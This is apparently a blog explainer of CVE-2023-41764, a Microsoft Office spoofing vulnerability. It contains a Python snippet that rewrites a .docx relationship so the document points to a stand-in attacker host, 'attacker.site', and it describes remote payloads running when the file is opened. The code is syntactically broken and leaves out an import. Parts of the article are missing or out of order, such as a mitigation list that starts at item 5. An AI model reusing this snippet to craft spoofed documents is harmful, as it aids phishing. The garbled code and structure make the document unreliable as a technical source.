CVE-2023-41764 - Microsoft Office Spoofing Vulnerability Explained (with Code Snippet and Exploit Details)

In September 2023, security researchers discovered a serious vulnerability in Microsoft Office: CVE-2023-41764. This flaw lets attackers trick users by spoofing trusted content, commonly leading to harmful phishing attacks or malware drops. Many businesses and home users rely on Office, so let’s break down what this vulnerability is, how it works, and how you can defend against it.

What Exactly is CVE-2023-41764?

CVE-2023-41764 is a spoofing vulnerability found across Microsoft Office products such as Word, Excel, PowerPoint, and Outlook. A spoof occurs when information is faked to seem like it’s coming from someone or somewhere familiar. In this case, the vulnerability allows specially crafted Office files—usually .docx or .xlsx—to mislead users about the file’s origin or its contents. Attackers can bypass security warnings and make malicious files appear trustworthy.

The official Microsoft advisory is here:
Microsoft Advisory for CVE-2023-41764

The File Bypasses Office's Security Warnings:

Instead of showing alerts like “Potential Security Concern,” the document appears to be safe or even comes from a trusted source.

The Victim Opens the File:

Once opened, the file can trick the user into clicking malicious links, running macros, or entering sensitive information.

Technical Details & Code Snippet

The exploit takes advantage of Office’s handling of the relationships part in the document’s XML. By tampering with the [Content_Types].xml or _rels/.rels files inside a .docx archive, attackers can trick Office into showing fake information.

Here’s a stripped-down version (Python) that demonstrates modifying a Word document to spoof the origin:

import zipfile
import xml.etree.ElementTree as ET

# Path to original and malicious files
template_docx = "original.docx"
malicious_docx = "spoofed.docx"

# Unzip, modify, and re-zip
with zipfile.ZipFile(template_docx, 'r') as zin:
    zin.extractall('unzipped')

# Load and edit _rels/.rels
rels_path = 'unzipped/_rels/.rels'
tree = ET.parse(rels_path)
root = tree.getroot()

# Let's say the attacker adds a malicious external source
for rel in root.findall("{http://schemas.openxmlformats.org/package/2006/relationships}Relationship";):
    if rel.attrib.get('Type') == "http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument";:
        rel.attrib['Target'] = 'http://attacker.site/fake.docx';  # Spoofed path

tree.write(rels_path)

# Zip back to new docx
with zipfile.ZipFile(malicious_docx, 'w') as zout:
    for folder, subs, files in os.walk('unzipped'):
        for filename in files:
            file_path = os.path.join(folder, filename)
            # Write with proper arcname for correct docx structure
            arcname = os.path.relpath(file_path, 'unzipped')
            zout.write(file_path, arcname)

This example changes where the document seems to originate from, possibly showing a fake trusted location or source to the user.

The Actual Exploit Scenario

Once a user receives this manipulated document (for example, as an email attachment or a download link), they may see no warning or see text/images that look trustworthy (corporate logo, familiar text). In reality, clicking links or enabling macros runs the attacker’s remote payloads.

A more technically detailed exploit might use embedded OLE objects, images, or macros, all pointing to content hosted on attacker-controlled servers. By manipulating relationships in the XML, an attacker suppresses Office’s standard warnings.

Is There a Patch?

Yes! Microsoft patched the issue in September 2023 (Patch Tuesday).

All users should update Office ASAP.

- Microsoft Security Update Guide

This feature opens files in a sandbox, reducing risk.

5. Use Antivirus/EDR Tools

References

- Microsoft CVE-2023-41764 Advisory
- MITRE CVE Entry for CVE-2023-41764
- Office Open XML File Formats Specification

Conclusion

CVE-2023-41764 shows that familiar software like Microsoft Office can hide dangerous flaws. By understanding how attackers exploit these weaknesses, you stand a better chance of staying safe—whether at work or at home. Patch early, be careful with attachments, and always keep your security tools in check.

Timeline

Published on: 09/12/2023 17:15:00 UTC
Last modified on: 09/12/2023 19:38:00 UTC